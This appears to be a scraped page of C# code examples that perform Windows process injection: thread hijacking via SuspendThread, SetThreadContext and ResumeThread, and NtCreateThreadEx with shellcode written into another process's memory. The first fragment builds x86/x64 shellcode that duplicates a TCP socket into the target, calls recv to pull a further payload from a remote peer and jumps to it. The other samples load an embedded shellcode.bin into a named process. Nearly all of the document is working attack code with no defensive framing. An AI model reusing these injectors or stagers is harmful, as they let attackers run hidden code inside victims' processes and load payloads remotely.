            //IntPtr memoryAddress = VirtualAllocEx(processHandle, IntPtr.Zero, buflen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
            //if (memoryAddress == IntPtr.Zero)
            //{
            //    Console.WriteLine("VirtualAllocEx() failed");
            //    return;
            //}


            //IntPtr threadHandle = CreateRemoteThread(processHandle, IntPtr.Zero, new UIntPtr(8192), IntPtr.Zero, IntPtr.Zero, CREATE_SUSPENDED, IntPtr.Zero);
            //if (threadHandle == IntPtr.Zero)
            //{
            //    Console.WriteLine("CreateRemoteThread() failed");
            //    return;
            //}

            IntPtr threadHandle;
            //NtCreateThreadExBuffer ntCreateThreadExBuffer = new NtCreateThreadExBuffer();
            //IntPtr temp = Marshal.AllocHGlobal(8);

            //ntCreateThreadExBuffer.Size = (uint)Marshal.SizeOf(ntCreateThreadExBuffer);
            //ntCreateThreadExBuffer.Unknown1 = 0x10003;
            //ntCreateThreadExBuffer.Unknown2 = 8;
            //ntCreateThreadExBuffer.Unknown3 = temp + 4;
            //ntCreateThreadExBuffer.Unknown4 = 0;
            //ntCreateThreadExBuffer.Unknown5 = 0x10004;
            //ntCreateThreadExBuffer.Unknown6 = 4;
            //ntCreateThreadExBuffer.Unknown7 = temp;
            //ntCreateThreadExBuffer.Unknown8 = 0;

            int ntstatus = NtCreateThreadEx(out threadHandle, THREAD_GET_CONTEXT | THREAD_SET_CONTEXT | THREAD_QUERY_LIMITED_INFORMATION | THREAD_SUSPEND_RESUME, IntPtr.Zero, processHandle, IntPtr.Zero, IntPtr.Zero, true, 0, 8192, 0, /*ref ntCreateThreadExBuffer*/ IntPtr.Zero);
            if (ntstatus < 0)
            {
                Console.WriteLine("NtCreateThreadEx() failed - " + ntstatus);
                return;
            }


            THREAD_BASIC_INFORMATION threadInfo;
            ntstatus = NtQueryInformationThread(threadHandle, 0, out threadInfo, 8 + IntPtr.Size * 5, IntPtr.Zero);
            if (ntstatus < 0)
            {
                Console.WriteLine("NtQueryInformationThread() failed - " + ntstatus);
                return;
            }


            byte[] buffer = new byte[IntPtr.Size];
            success = ReadProcessMemory(processHandle, threadInfo.TebBaseAdress + (IntPtr.Size * 1), buffer, IntPtr.Size, IntPtr.Zero);
            if (!success)
            {
                Console.WriteLine("ReadProcessMemory() failed - " + Marshal.GetLastWin32Error());
                return;
            }

            IntPtr memoryAddress;

            if (isX64)
            {
                long stackBottom = BitConverter.ToInt64(buffer, 0);
                memoryAddress = new IntPtr(stackBottom - bufferlen);
            }
            else
            {
                int stackBottom = BitConverter.ToInt32(buffer, 0);
                memoryAddress = new IntPtr(stackBottom - bufferlen);
            }


            uint oldProtection;
            success = VirtualProtectEx(processHandle, memoryAddress, /*buflen*/ new UIntPtr(4096), PAGE_EXECUTE_READWRITE, out oldProtection);
            if (!success)
            {
                Console.WriteLine("VirtualProtectEx() failed - " + Marshal.GetLastWin32Error());
                return;
            }

            WSAPROTOCOL_INFO socketData;
            err = WSADuplicateSocket(tcpSocket, targetProcessId, out socketData);
            if (err != 0)
            {
                Console.WriteLine("WSADuplicateSocket() failed - " + WSAGetLastError());
                return;
            }

            IntPtr k32Handle = GetModuleHandle("kernel32.dll");
            if (k32Handle == IntPtr.Zero)
            {
                Console.WriteLine("GetModuleHandle() failed - " + Marshal.GetLastWin32Error());
                return;
            }

            int    shellcodeBufferSize = bufferlen;
            IntPtr shellcodeBuffer     = Marshal.AllocHGlobal(shellcodeBufferSize);

            IntPtr getProcAddress   = GetProcAddress(k32Handle, "GetProcAddress");
            IntPtr getModuleHandleA = GetProcAddress(k32Handle, "GetModuleHandleA");
            IntPtr exitThread       = GetProcAddress(k32Handle, "ExitThread");
            //IntPtr setUnhandledExceptionFilter = GetProcAddress(k32Handle, "SetUnhandledExceptionFilter");
            IntPtr addVectoredExceptionHandler = GetProcAddress(k32Handle, "AddVectoredExceptionHandler");
            if (getProcAddress == IntPtr.Zero || getModuleHandleA == IntPtr.Zero || exitThread == IntPtr.Zero || addVectoredExceptionHandler == IntPtr.Zero)
            {
                Console.WriteLine("GetProcAddress() failed - " + Marshal.GetLastWin32Error());
                return;
            }

            Shellcode     shellcode;
            ShellcodeType shellcodeType;

            if (isX64)
            {
                FakeObject ws2A, wsasockA, sockData, recv;
                shellcodeType = ShellcodeType.Win64;
                shellcode     = new Shellcode64(shellcodeBuffer, shellcodeBufferSize, memoryAddress)

                                .DebugBreak()
                                .SetEntryPoint()

                                //.AlignStack()
                                .FakePushBytes(32)
#if !DEBUG || true
                                /*.MovInt64RegisterC(exitThread)
                                 * .CallFar(setUnhandledExceptionFilter)*/
                                .MovInt64RegisterC(1)
                                .MovInt64RegisterD(exitThread)
                                .CallFar(addVectoredExceptionHandler)

                                /*.PushInt64(exitThread)
                                 * .PushInt64(0)
                                 * .MovRegisterSPtoGSOffset(0)*/
#endif

                                .NewFakeObject(Shellcode.AsciiCString("ws2_32"), out ws2A)
                                .MovFakePointerRegisterC(ws2A)
                                //.FakePushBytes(32)
                                .CallFar(getModuleHandleA)
                                .FakePopBytes(32)

                                .PushRegisterA() //+module
                                .PushRegisterA() //+module

                                .NewFakeObject(Shellcode.AsciiCString("WSASocketA"), out wsasockA)
                                .MovFakePointerRegisterD(wsasockA)
                                .MovRegisterAtoC()
                                .FakePushBytes(32)
                                .CallFar(getProcAddress)
                                .FakePopBytes(32)

                                .NewFakeObject(socketData, out sockData)
                                .PushByte(0)
                                .PushByte(0)
                                .MovFakePointerRegister9(sockData)
                                .MovInt64Register8(IPPROTO_TCP)
                                .MovInt64RegisterD(SOCK_STREAM)
                                .MovInt64RegisterC(AF_INET)
                                .FakePushBytes(32)
                                .CallRegisterA()
                                .FakePopBytes(48)

                                .PopRegisterC()  //-module
                                .PushRegisterA() //+socket

                                .NewFakeObject(Shellcode.AsciiCString("recv"), out recv)
                                .MovFakePointerRegisterD(recv)
                                .FakePushBytes(32)
                                .CallFar(getProcAddress)
                                .FakePopBytes(32)

                                .PopRegisterC()  //-socket
                                .PushRegisterA() //+recv
                                .PushRegisterC() //+socket

                                .MovInt64Register9(/*0*/ MSG_WAITALL)
                                .MovInt64Register8(/*bufferlen*/ DefaultMsgSize)
                                .MovInt64RegisterD(memoryAddress)
                                .FakePushBytes(32 + 8) //+aligner

                                .PushInt64(memoryAddress)
                                .JmpRegisterA()

                                .Complete();
            }
            else
            {
                FakeObject ws2A, wsasockA, sockData, recvA;
                shellcodeType = ShellcodeType.Win32;
                shellcode     = new Shellcode86(shellcodeBuffer, shellcodeBufferSize, memoryAddress)

                                .DebugBreak()
                                .SetEntryPoint()

                                .NewFakeObject(Shellcode.AsciiCString("ws2_32"), out ws2A)
                                .PushFakePointer(ws2A)
                                //shellcode.CallFar(GetProcAddress(k32Handle, "LoadLibraryA"));  //loaded by default
                                .CallFar(getModuleHandleA)

                                .PushRegisterA() //+handle

                                .NewFakeObject(Shellcode.AsciiCString("WSASocketA"), out wsasockA)
                                .PushFakePointer(wsasockA)
                                .PushRegisterA()
                                .CallFar(getProcAddress)

                                .NewFakeObject(socketData, out sockData)
                                .PushByte(0)
                                .PushByte(0)
                                .PushFakePointer(sockData)
                                .PushByte((byte)IPPROTO_TCP)
                                .PushByte((byte)SOCK_STREAM)
                                .PushByte((byte)AF_INET)
                                .CallRegisterA()

                                .PopRegisterD() //-handle

                                .PushByte(/*0*/ MSG_WAITALL)
                                .PushInt(/*bufferlen*/ DefaultMsgSize)
                                .PushInt(memoryAddress)
                                .PushRegisterA()
                                .PushInt(memoryAddress) //for later use

                                .NewFakeObject(Shellcode.AsciiCString("recv"), out recvA)
                                .PushFakePointer(recvA)
                                .PushRegisterD()
                                .CallFar(getProcAddress)

                                .JmpRegisterA()

                                .Complete();
            }


            success = WriteProcessMemory(processHandle, new IntPtr(shellcode.RemoteAddress), shellcode.Buffer, shellcode.Size, IntPtr.Zero);
            if (success == false)
            {
                Console.WriteLine("WriteProcessMemory() failed - " + Marshal.GetLastWin32Error());
                return;
            }

            //IntPtr threadHandle = CreateRemoteThread(processHandle, IntPtr.Zero, UIntPtr.Zero, new IntPtr(shellcode.EntryPoint), IntPtr.Zero, NULL, IntPtr.Zero);
            //if(threadHandle == IntPtr.Zero)
            //{
            //    Console.WriteLine("CreateRemoteThread() failed");
            //    err = Marshal.GetLastWin32Error();
            //    return;
            //}

            const string getThreadContextFailed = "GetThreadContext() failed - ";
            const string setThreadContextFailed = "SetThreadContext() failed - ";
            if (isX64)
            {
                CONTEXT64 threadContext = new CONTEXT64()
                {
                    ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER
                };
                success = GetThreadContext(threadHandle, ref threadContext);
                if (!success)
                {
                    Console.WriteLine(getThreadContextFailed + Marshal.GetLastWin32Error());
                    return;
                }

                threadContext.Rsp = (ulong)shellcode.RemoteAddress;
                threadContext.Rip = (ulong)shellcode.EntryPoint;

                success = SetThreadContext(threadHandle, ref threadContext);
                if (!success)
                {
                    Console.WriteLine(setThreadContextFailed + Marshal.GetLastWin32Error());
                    return;
                }
            }
            else
            {
                CONTEXT threadContext = new CONTEXT()
                {
                    ContextFlags = CONTEXT_INTEGER
                };
                success = GetThreadContext(threadHandle, ref threadContext);
                if (!success)
                {
                    Console.WriteLine(getThreadContextFailed + Marshal.GetLastWin32Error());
                    return;
                }

                threadContext.Esp = (uint)shellcode.RemoteAddress;
                threadContext.Eip = (uint)shellcode.EntryPoint;

                success = SetThreadContext(threadHandle, ref threadContext);
                if (!success)
                {
                    Console.WriteLine(setThreadContextFailed + Marshal.GetLastWin32Error());
                    return;
                }
            }

            uint suspendc = ResumeThread(threadHandle);
            if (suspendc == 0xffffffff)
            {
                Console.WriteLine("ResumeThread() failed - " + Marshal.GetLastWin32Error());
                return;
            }

            CloseHandle(threadHandle);
            CloseHandle(processHandle);

            EV0REMOTE_LOGIN loginmsg = new EV0REMOTE_LOGIN(shellcode.RemoteAddress, k32Handle.ToInt64(), getProcAddress.ToInt64(), shellcodeType);
            int             msgsize  = Marshal.SizeOf(loginmsg);
            IntPtr          msg      = Marshal.AllocHGlobal(msgsize);
            Marshal.StructureToPtr(loginmsg, msg, false);
            send(tcpSocket, msg, msgsize, 0);
        }
Ejemplo n.º 11
0
        public static int Main(string[] args)
        {
            // Get target process by name
            ProjectConfiguration projectConfiguration = ProjectConfiguration.GetEmbeddedSettings();
            Process targetProcess = Process.GetProcessesByName(projectConfiguration.TARGET_PROCESS)[0];

            Console.WriteLine("ProcessId: " + targetProcess.Id);

            // Open and Suspend first thread
            ProcessThread pT = targetProcess.Threads[0];

            Console.WriteLine("ThreadId: " + targetProcess.Threads[0].Id);
            IntPtr pOpenThread = OpenThread(ThreadAccess.THREAD_HIJACK, false, (uint)pT.Id);

            SuspendThread(pOpenThread);

            // Get thread context
            CONTEXT64 tContext = new CONTEXT64();

            tContext.ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL;
            if (GetThreadContext(pOpenThread, ref tContext))
            {
                Console.WriteLine("CurrentEip    : {0}", tContext.Rip);
            }

            byte[] payload;
            payload = ProjectConfiguration.GetEmbeddedResource("shellcode.bin");

            // Once shellcode has executed return to thread original EIP address (mov to rax then jmp to address)
            byte[] mov_rax = new byte[2] {
                0x48, 0xb8
            };
            byte[] jmp_address = BitConverter.GetBytes(tContext.Rip);
            byte[] jmp_rax     = new byte[2] {
                0xff, 0xe0
            };

            // Build shellcode
            byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length];
            payload.CopyTo(shellcode, 0);
            mov_rax.CopyTo(shellcode, payload.Length);
            jmp_address.CopyTo(shellcode, payload.Length + mov_rax.Length);
            jmp_rax.CopyTo(shellcode, payload.Length + mov_rax.Length + jmp_address.Length);

            // OpenProcess to allocate memory
            IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);

            // Allocate memory for shellcode within process
            IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

            // Write shellcode within process
            UIntPtr bytesWritten;
            bool    resp1 = WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);

            // Read memory to view shellcode
            int bytesRead = 0;

            byte[] buffer = new byte[shellcode.Length];
            ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead);
            Console.WriteLine("Data in memory: " + System.Text.Encoding.UTF8.GetString(buffer));

            // Set context EIP to location of shellcode
            tContext.Rip = (ulong)allocMemAddress.ToInt64();

            // Apply new context to suspended thread
            if (!SetThreadContext(pOpenThread, ref tContext))
            {
                Console.WriteLine("Error setting context");
            }
            if (GetThreadContext(pOpenThread, ref tContext))
            {
                Console.WriteLine("ShellcodeAddress: " + allocMemAddress);
                Console.WriteLine("NewEip          : {0}", tContext.Rip);
            }
            // Resume the thread, redirecting execution to shellcode, then back to original process
            Console.WriteLine("Redirecting execution!");
            ResumeThread(pOpenThread);

            return(0);
        }
Ejemplo n.º 12
0
        public static void Thread_HiJack(string Process_Name, byte[] payload)
        {
            // Process privileges
            const int PROCESS_CREATE_THREAD     = 0x0002;
            const int PROCESS_QUERY_INFORMATION = 0x0400;
            const int PROCESS_VM_OPERATION      = 0x0008;
            const int PROCESS_VM_WRITE          = 0x0020;
            const int PROCESS_VM_READ           = 0x0010;
            // Memory permissions
            const uint MEM_COMMIT             = 0x00001000;
            const uint MEM_RESERVE            = 0x00002000;
            const uint PAGE_READWRITE         = 4;
            const uint PAGE_EXECUTE_READWRITE = 0x40;

            Process targetProcess = Process.GetProcessesByName(Process_Name)[0];

            ProcessThread pT = targetProcess.Threads[0];

            Console.WriteLine("ThreadId: " + targetProcess.Threads[0].Id);
            IntPtr pOpenThread = OpenThread(ThreadAccess.THREAD_HIJACK, false, (uint)pT.Id);

            SuspendThread(pOpenThread);

            CONTEXT64 tContext = new CONTEXT64();

            tContext.ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL;

            // Once shellcode has executed return to thread original EIP address (mov to rax then jmp to address)
            byte[] mov_rax = new byte[2] {
                0x48, 0xb8
            };
            byte[] jmp_address = BitConverter.GetBytes(tContext.Rip);
            byte[] jmp_rax     = new byte[2] {
                0xff, 0xe0
            };

            // Build shellcode
            byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length];
            payload.CopyTo(shellcode, 0);
            mov_rax.CopyTo(shellcode, payload.Length);
            jmp_address.CopyTo(shellcode, payload.Length + mov_rax.Length);
            jmp_rax.CopyTo(shellcode, payload.Length + mov_rax.Length + jmp_address.Length);

            // OpenProcess to allocate memory
            IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id);

            // Allocate memory for shellcode within process
            IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), 0x00001000 | 0x00002000, 0x40);

            // Write shellcode within process
            UIntPtr bytesWritten;
            bool    resp1 = WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten);

            // Read memory to view shellcode
            int bytesRead = 0;

            byte[] buffer = new byte[shellcode.Length];
            ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead);

            // Set context EIP to location of shellcode
            tContext.Rip = (ulong)allocMemAddress.ToInt64();

            // Apply new context to suspended thread
            // Resume the thread, redirecting execution to shellcode, then back to original process
            ResumeThread(pOpenThread);
        }